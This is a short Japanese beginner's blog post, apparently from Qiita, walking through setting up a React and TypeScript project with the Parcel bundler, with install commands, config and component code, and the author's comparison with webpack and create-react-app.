初心者なので、内容に加え、マークダウンとか書き方とか覚えて、随時更新していきます。

同意、間違ってるよ等、コメントいただけたらうれしいです。

[次回はこちらへ](https://qiita.com/rmlhello/items/1a6a06dccb565b6a6661)
parcel

触ってなかったので、触る。
基本的にQiitaの記事なんて見ずに公式のリファレンスを見るのが一番。

https://parceljs.org/

## インストール

`yarn global add parcel-bundler`

## ビルド

`yarn add react react-dom`
`yarn add --dev typescript @types/{react,react-dom}`

index.htmlのエントリーポイントを作ってあげればあとは`parcel`でそれを指定してあげるだけ。

index.html

```html
<div id="app"></div>
<script src="./src/index.tsx"></script>
```

tsconfig.json

```
{
  "compilerOptions": {
    "jsx": "react"
  }
}
```

App.tsx

```tsx
import * as React from 'react'

export interface Props {
  name: string
}

const App: React.SFC<Props> = ({ name }) => (
  <div>
    <h1>Hello {name}</h1>
  </div>
)

export default App
```

index.tsx

```tsx
import * as React from 'react'
import * as ReactDom from 'react-dom'
import App from './App'

ReactDom.render(<App name="test" />, document.getElementById('app'))
```

```
$ parcel ./index.html
Server running at http://localhost:1234
✨  Built in 556ms.
```

## 気持ち

ゼロコンフィグを謳っていることあって設定なしで非常に簡単に検証環境を構築できる。結局、開発時には色々webpackで処理を挟みたくなるが、初速が高速になるのと、コンフィグが容易なので、検証環境においてはcreate-react-appより便利だと思うので、積極的に使っていきたい。